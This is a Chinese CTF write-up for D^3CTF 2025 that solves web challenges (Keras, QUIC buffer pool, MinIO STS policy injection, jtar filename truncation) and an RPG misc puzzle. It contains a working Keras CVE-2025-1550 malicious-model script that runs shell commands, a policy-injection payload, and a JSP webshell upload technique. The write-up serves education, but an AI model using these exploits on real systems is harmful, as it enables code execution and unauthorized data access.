目录

  1. 1. 前言
  2. 2. d3model
  3. 3. tidy quic
  4. 4. d3invitation(复现)
  5. 5. d3jtar(复现)
  6. 6. Misc
    1. 6.1. d3rpg-signin(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

D^3CTF 2025

2025/5/30 CTF线上赛
  |     |   总文章阅读量:

前言

找不到实习,只能继续打ctf玩玩顺带沉淀了。。

结果过超级端午去了,题没怎么看(

参考:

https://gsbp0.github.io/post/d3ctf2025/

N0wayBack:https://mp.weixin.qq.com/s/n6fr3KkiGQC_POTMZpYikg

Mini-Venom:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247512996&idx=1&sn=ce94e01dfceef60dbf2f055d36a6e770&poc_token=HHFxPWijpXwTfhwmiZATaWyQyQWVPwjpsrRd0gm8

S1uM4i:https://mp.weixin.qq.com/s/wBdM2PGM3Alz0j31rU_J0w

Arr3stY0u:https://mp.weixin.qq.com/s/kMbhksbz9lYSW6HvVJ-xwQ


d3model

import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
    try:
        keras.models.load_model(modelname)
    except:
        return False
    return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    
    MAX_FILE_SIZE = 50 * 1024 * 1024  # 50MB
    file.seek(0, os.SEEK_END)
    file_size = file.tell()
    file.seek(0)
    
    if file_size > MAX_FILE_SIZE:
        return jsonify({'error': 'File size exceeds 50MB limit'}), 400
    
    filepath = os.path.join('./', 'test.keras')
    if os.path.exists(filepath):
        os.remove(filepath)
    file.save(filepath)
    
    if is_valid_model(filepath):
        return jsonify({'message': 'Model is valid'}), 200
    else:
        return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

keras==3.8.0

直接去官方 github 仓库看看漏洞:https://github.com/keras-team/keras/security/advisories/GHSA-48g7-3x6r-xfhp

有 CVE-2025-1550,漏洞利用:https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

触发点在 keras.models.load_model

测试发现不出网,观察 Dockerfile 发现没有权限变动,意味着可以直接写 index.html

import os
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np

model_name="1.keras"

x_train = np.random.rand(100, 28*28)  
y_train = np.random.rand(100) 

model = Sequential([Dense(1, activation='linear', input_dim=28*28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name,"r") as f:
    config=json.loads(f.read("config.json").decode())
    
config["config"]["layers"][0]["module"]="keras.models"
config["config"]["layers"][0]["class_name"]="Model"
config["config"]["layers"][0]["config"]={
    "name":"mvlttt",
    "layers":[
        {
            "name":"mvlttt",
            "class_name":"function",
            "config":"Popen",
            "module": "subprocess",
            "inbound_nodes":[{"args":[["bash","-c","env>/app/index.html"]],"kwargs":{"bufsize":-1}}]
        }],
            "input_layers":[["mvlttt", 0, 0]],
            "output_layers":[["mvlttt", 0, 0]]
        }

with zipfile.ZipFile(model_name, 'r') as zip_read:
    with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
        for item in zip_read.infolist():
            if item.filename != "config.json":
                zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}",model_name)


with zipfile.ZipFile(model_name,"a") as zf:
        zf.writestr("config.json",json.dumps(config))

print("[+] Malicious model ready")

上传即可触发

image-20250530230624488


tidy quic

package main

import (
	"bytes"
	"errors"
	"github.com/libp2p/go-buffer-pool"
	"github.com/quic-go/quic-go/http3"
	"io"
	"log"
	"net/http"
	"os"
)

var p pool.BufferPool
var ErrWAF = errors.New("WAF")

func main() {
	go func() {
		err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err)
	}()
	go func() {
		err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err)
	}()
	select {}
}

type mux struct {
}

func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if r.Method == http.MethodGet {
		_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
		return
	}
	if r.Method != http.MethodPost {
		w.WriteHeader(400)
		return
	}

	var buf []byte
	length := int(r.ContentLength)
	if length == -1 {
		var err error
		buf, err = io.ReadAll(textInterrupterWrap(r.Body))
		if err != nil {
			if errors.Is(err, ErrWAF) {
				w.WriteHeader(400)
				_, _ = w.Write([]byte("WAF"))
			} else {
				w.WriteHeader(500)
				_, _ = w.Write([]byte("error"))
			}
			return
		}
	} else {
		buf = p.Get(length)
		defer p.Put(buf)
		rd := textInterrupterWrap(r.Body)
		i := 0
		for {
			n, err := rd.Read(buf[i:])
			if err != nil {
				if errors.Is(err, io.EOF) {
					break
				} else if errors.Is(err, ErrWAF) {
					w.WriteHeader(400)
					_, _ = w.Write([]byte("WAF"))
					return
				} else {
					w.WriteHeader(500)
					_, _ = w.Write([]byte("error"))
					return
				}
			}
			i += n
		}
	}
	if !bytes.HasPrefix(buf, []byte("I want")) {
		_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
		return
	}
	item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
	if bytes.Equal(item, []byte("flag")) {
		_, _ = w.Write([]byte(os.Getenv("FLAG")))
	} else {
		_, _ = w.Write(item)
	}
}

type wrap struct {
	io.ReadCloser
	ban []byte
	idx int
}

func (w *wrap) Read(p []byte) (int, error) {
	n, err := w.ReadCloser.Read(p)
	if err != nil && !errors.Is(err, io.EOF) {
		return n, err
	}
	for i := 0; i < n; i++ {
		if p[i] == w.ban[w.idx] {
			w.idx++
			if w.idx == len(w.ban) {
				return n, ErrWAF
			}
		} else {
			w.idx = 0
		}
	}
	return n, err
}

func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
	return &wrap{
		rc, []byte("flag"), 0,
	}
}

获取 flag 的方式是传入 I want flag

waf 会拦截 flag

两个参数可控:buf 和 rd,分别对应 Content-Length 和请求体

而问题出在 buf 上,go 的题目特有的先看全局变量 var p pool.BufferPool,这是一个缓冲池

观察代码,在 http 通信中,如果 Content-Length!=-1(即没写CL头),则不会调用这个缓冲区来读取数据,反之则会进入分支:

buf = p.Get(length)
defer p.Put(buf)

这里主要在于defer p.Put(buf),观察代码上下文也没有对已经写入了body数据的buf缓冲区进行重置清零的操作,而是直接将她放回的缓冲池,这就会导致缓冲池会出现一个被污染的状态,下一次从缓冲池中取出缓冲区也会受到这些数据的影响

那么思路就是通过并发,让缓冲区保留原来的数据,然后让新写入的数据与原先保留在缓冲区的数据进行覆盖与拼接,从而构造 I want flag

注:http2 和 http3 的区别

http2在Content-Length比body实际长度大时,会等待一会儿的输入,来使两者相等,而http3则会更精准的检测出body的实际长度并且在body发送完毕之后迅速的发送结束流,也可以说是quic不会根据http请求包中的Content-Length来界定body的结束


连deepseek都会做(

1. 污染请求触发 WAF 但污染缓冲池
2. 真实请求复用含 "flag" 的缓冲区
3. 前 7 字节被覆盖为 "I want "
4. 后续残留数据包含 "flag" 通过检查

先准备污染请求体

xxxxxxxflag

前 7 个 x 用于等会被覆盖

接下来并发污染请求体,中间打出真实请求覆盖缓冲区

exp.sh

#!/bin/bash

python -c 'print("x"*7 + "flag")' > polluted_data.bin

# 发送污染请求(并行10个)
for i in {1..10}; do
  curl -k -X POST https://35.241.98.126:31258 \
       -H "Content-Length: 12" \
       --data-binary "@polluted_data.bin" \
       --http3-only &
done

# 立即发送真实请求
sleep 0.1  # 微小延迟确保污染请求先发出
curl --http3-only -k -X POST https://35.241.98.126:31258 \
     -H "Content-Length: 12" \
     -d "I want "

image-20250601231537179


d3invitation(复现)

一个 minio oss 端和一个 web 端,猜测 flag 在 oss 端里

web 端接口:

  • /invitation:生成邀请函

  • /api/genSTSCreds:传入 object_name ,生成 STS(Security Token Service)凭证 access_key_id、secret_access_key、session_token,用于临时授权客户端直接访问云存储服务中的 object_name 而无需使用永久凭证

  • /api/putObject:传入上面生成的凭证,往存储桶放 object

  • /api/getObject:读取桶下的 object

jwt 解一下 session_token

{
  "accessKey": "40QBG10RGU7009EIY199",
  "exp": 1748798073,
  "parent": "B9M320QXHD38WUR2MIY3",
  "sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMi5wbmciXX1dfQ=="
}

sessionPolicy,这里是一个 AWS IAM 策略文档

{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/2.png"]}]}

可以看到这里指定了授予权限,指向名为 d3invitation 的 S3 存储桶,赋予其中的 2.png 上传下载权限

flag 如果在 oss 中的话,我们就需要想办法伪造权限了

关于云安全的文章:https://forum.butian.net/share/4340

注意到 object_name 这里传入双引号时会返回 failed,说明存在注入,于是可以采用 RAM 策略注入

image-20250602175139719

构造注入语句,赋予上传下载的权限,列出所有桶的权限,列出桶下目录的权限

{"object_name":"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:GetObject\",\"s3:PutObject\",\"s3:ListBucket\",\"s3:ListAllMyBuckets\",\"s3:GetBucketLocation\"],\"Resource\":\"*\"}]}"}

此时的策略为:

{"Version":"2012-10-17",
 "Statement":[
     {"Effect":"Allow",
      "Action":["s3:GetObject","s3:PutObject"],
      "Resource":["arn:aws:s3:::d3invitation/*"]
     },
     {"Effect":"Allow",
      "Action":["s3:GetObject","s3:PutObject","s3:ListBucket","s3:ListAllMyBuckets","s3:GetBucketLocation"],
      "Resource":["*"]
     }
 ]
}

image-20250602190446086

然后使用 python 作为客户端连接远程的 minio 服务进行读取

exp:

from minio import Minio
from minio.error import S3Error

sts = {
  "access_key_id": "XN3N1HUJTII06D40I1AQ",
  "secret_access_key": "ozXdxylZ9gKEhV9r6QUgJ+yaPtRCLZ5DBdjf2bOb",
  "session_token": "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJYTjNOMUhVSlRJSTA2RDQwSTFBUSIsImV4cCI6MTc0ODg2NTczMywicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2tkbGRFSjFZMnRsZEV4dlkyRjBhVzl1SWl3aWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlRHbHpkRUZzYkUxNVFuVmphMlYwY3lJc0luTXpPa3hwYzNSQ2RXTnJaWFFpTENKek16cFFkWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaUtpb2lYWDFkZlE9PSJ9.J2A7Yd4qDoR0dvHo73kmQJfHNZy6yEQ4AWBRJo6M4S7t0YZ9eINpIJ2gCg3Hf1NNEB6sozq2JupO_l8RTgwn_Q"
}


# 配置MinIO客户端
client = Minio(
    "35.241.98.126:32749",
    access_key=sts["access_key_id"],
    secret_key=sts["secret_access_key"],
    session_token=sts["session_token"],  # 临时会话令牌
    secure=False  # 设为False如果是HTTP
)

buckets = client.list_buckets()
print("所有桶列表:")
for bucket in buckets:
    print(f"- {bucket.name}")

print("\nflag桶的文件:")
try:
    objects = client.list_objects("flag")
    for obj in objects:
        print(f"- {obj.object_name}")
except Exception as e:
    print(f"错误: {e}")

print("\n尝试列出d3invitation桶:")
try:
    objects = client.list_objects("d3invitation")
    for obj in objects:
        print(obj.object_name)
except Exception as e:
    print(f"错误: {e}")  # 将收到Access Denied

try:
    # client.fput_object("flag", "report.pdf", "/local/report.pdf")
    client.fget_object("flag", "flag", "1.txt")
    print("下载完成")
except Exception as e:
    print(f"错误: {e}") 

image-20250602190549494


d3jtar(复现)

给了个 war 包,直接放在 tomcat 部署就好

如题,重点明显是在这个 jtar-2.3 上,先看 controller

提供了三个路由:

  • /view

    @GetMapping({"/view"})
    public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
        if (page.matches("^[a-zA-Z0-9-]+$")) {
            String viewPath = "/WEB-INF/views/" + page + ".jsp";
            String realPath = request.getServletContext().getRealPath(viewPath);
            File jspFile = new File(realPath);
            if (realPath != null && jspFile.exists()) {
                return new ModelAndView(page);
            }
        }
    
        ModelAndView mav = new ModelAndView("Error");
        mav.addObject("message", "The file don't exist.");
        return mav;
    }

    只能渲染 jsp 文件

  • /Upload

    @PostMapping({"/Upload"})
    @ResponseBody
    public String UploadController(@RequestParam MultipartFile file) {
        try {
            String uploadDir = "webapps/ROOT/WEB-INF/views";
            Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
            String filePath = Upload.secureUpload(file, uploadDir, blackList);
            return "Upload Success: " + filePath;
        } catch (Upload.UploadException var5) {
            return "The file is forbidden: " + var5;
        }
    }

    上传文件,但是过滤 jsp 后缀,并且上传

  • /Backup

    @PostMapping({"/BackUp"})
    @ResponseBody
    public String BackUpController(@RequestParam String op) {
        if (Objects.equals(op, "tar")) {
            try {
                BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
                return "Success !";
            } catch (IOException var3) {
                return "Failure : tar Error";
            }
        } else if (Objects.equals(op, "untar")) {
            try {
                BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
                return "Success !";
            } catch (IOException var4) {
                return "Failure : untar Error";
            }
        } else {
            return "Failure : option Error";
        }
    }

    这里会用 jtar 依赖压缩为 tar 或解压 tar 包

先测试上传,我们自己压的 tar 包不支持上传,那么就是裸传一个普通后缀文件,然后在解压缩这里下文章

测试发现,当后缀名为中文 ”测“ 时,此时压缩再解压得到

image-20250602222406078

而压缩包里的文件为

image-20250602222549862

可见这里 tar 压缩时编码出现了差异

那么观察 Backup 类

import org.kamranzafar.jtar.TarEntry;
import org.kamranzafar.jtar.TarInputStream;
import org.kamranzafar.jtar.TarOutputStream;

public static void tarDirectory(Path outputFile, Path inputDirectory, List<String> pathPrefixesToExclude) throws IOException {
    FileOutputStream dest = new FileOutputStream(outputFile.toFile());
    Path outputFileAbsolute = outputFile.normalize().toAbsolutePath();
    Path inputDirectoryAbsolute = inputDirectory.normalize().toAbsolutePath();
    int inputPathLength = inputDirectoryAbsolute.toString().length();
    TarOutputStream out = new TarOutputStream(new BufferedOutputStream(dest));
    Throwable var8 = null;

    try {
        Files.walk(inputDirectoryAbsolute).forEach((entry) -> {
            if (!Files.isDirectory(entry, new LinkOption[0])) {
                if (!entry.equals(outputFileAbsolute)) {
                    try {
                        String relativeName = entry.toString().substring(inputPathLength + 1);
                        out.putNextEntry(new TarEntry(entry.toFile(), relativeName));
                        BufferedInputStream origin = new BufferedInputStream(new FileInputStream(entry.toFile()));
                        byte[] data = new byte[2048];

                        int count;
                        while((count = origin.read(data)) != -1) {
                            out.write(data, 0, count);
                        }

                        out.flush();
                        origin.close();
                    } catch (IOException var8) {
                        var8.printStackTrace();
                    }

                }
            }
        });
    } catch (Throwable var17) {
        var8 = var17;
        throw var17;
    } finally {
        if (out != null) {
            if (var8 != null) {
                try {
                    out.close();
                } catch (Throwable var16) {
                    var8.addSuppressed(var16);
                }
            } else {
                out.close();
            }
        }
    }
}

跟进 TarOutputStream,调试

image-20250602223421058

进入 writeEntryHeader

image-20250602223808351

image-20250602224404955

此处 outbuf 解码可以得到 296a3be2-ce28-4404-bcd5-0b337a6ebeb6.K,此时就发现问题了

重新跟进 getNameBytes 看看

image-20250602223926321

这里将 char 类型的文件名强转为 byte,会发生什么情况呢

java 中 char 的大小在 \u0000-\uffff 之间,而byte的大小在 (-127)-128 之间,所以当char的值在257时,被强制转换成byte,则会变成1,即ascii码为1对应的字符

观察这两个字符的 unicode

测:\u6d4b
K: \u004b

只取了低位的 4b

所以思路就是找到一个中文字符串低位为 jsp 的 unicode

jsp: \u006a\u0073\u0070
浪浳浰: \u6d6a\u6d73\u6d70

image-20250602225836357

再进行压缩与解压,最后访问 /view?page=077ce1c4-4bf3-4fc7-b652-5157d663b8b7&cmd=env

image-20250602230008480


Misc

d3rpg-signin(复现)

与村庄告示牌对话,得到信息:

  1. 水井需要密码
  2. 村长家天花板出现漏水现象
  3. 酒馆提供 DEBUG 麦酒,饮用后可查看寄存器与内存数据
  4. 每个人最多持有1字节的有符号金钱

进入村长家,和旁边的npc对话,选择 musc 手

得到 flag1: BtM183b19k


村庄内与醉酒老头npc对话,选择”风华正茂“,得到村长家地下室的密钥 md5(password)

与村长家二楼的最后一个箱子交互得到提示:127+1 什么时候等于 -128 呢

进入地下室,酒馆入口在右下角

进入酒馆,购买 255RMB 的 object,由于溢出会获得 1RMB

获得 2 RMB 购买flag2

得到 flag2:M19ScEd


再刷点 RMB 购买 DEBUG 麦酒

使用 DEBUG 麦酒 查看水井的寄存器和内存值,得到如下内容

RAX=0
RBX=329590FAB0
RCX=7FFE9BEC2414
RDX=0
RBP=0
RSP=329590F590
RSI=3295B85000
RDI=1
RIP=7FFE9BE84DDA

[RBP-0x10] 0x00007FF692AE9841
[RBP-0x18] 0x000002025F0A2490
[RBP-0x20] 0x0000007773506D49
[RBP-0x28] 0x11100F0E0D0C0B0A

0x0000007773506D49 可以十六进制解出来 wsPmI,因为是小端序所以水井密码为 ImPsw

得到 flag0:VzNsYz


在村长家二楼,与村长和右起第二个箱子交互获得以下提示:

flag3远在天边,近在眼前
小大小大小大大大=
A.   -
B-. . .
C-. -

可知和摩斯密码有关,仔细观察地板

image-20250602213615097

可以发现每一行地板的贴图有两种,一种是半透光的, 一种是完整的

结合摩斯得到:

..-. ...-
--.. -...
-.-- --
.--  --.-

解码得到 FVZBYMWQ

小大代表大小写,于是得到 flag3:fVzByMWQ=

拼接得到完整 flag:VzNsYzBtM183b19kM19ScEdfVzByMWQ=

解码得到 W3lc0m3_7o_d3_RpG_W0r1d


也可以拿 ce 直接改完金币数买 128mb 就行


Mtool 直接翻译取出原文秒了

image-20250602191627056